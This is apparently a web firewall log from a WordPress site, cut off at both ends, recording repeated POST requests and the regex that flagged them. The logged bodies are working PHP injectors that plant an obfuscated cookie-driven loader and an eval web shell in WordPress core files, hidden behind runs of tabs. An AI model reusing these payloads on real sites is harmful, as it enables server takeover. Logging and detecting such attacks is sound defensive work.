Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoybvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4328\n\nnZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-core-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B44%252B-44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B52-51%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B26%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B51%252B-47%255D%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524flag%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252741af4566%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_searcher%2522%253B%2520%257D%2520%2524obj%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pointer%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524obj%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522740cc831e66f91c02a1916d871e9dc78%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524pointer%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522unit_converter_splitter_tool%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:24","52.232.35.131","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-themes-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527lnsZUC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn1VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2053\n\nkR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-themes-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527lnsZUC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:28","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> eW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-themes-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527lnsZUC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMIpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2053\n\neW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-themes-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527lnsZUC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:32","129.121.41.228","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Mr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-themes-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527lnsZUC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGKVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2053\n\nMr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-themes-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527lnsZUC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:34","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-themes-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527lnsZUC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIHRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2053\n\nUA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-themes-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527lnsZUC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:38","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ef:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-themes-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527lnsZUC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 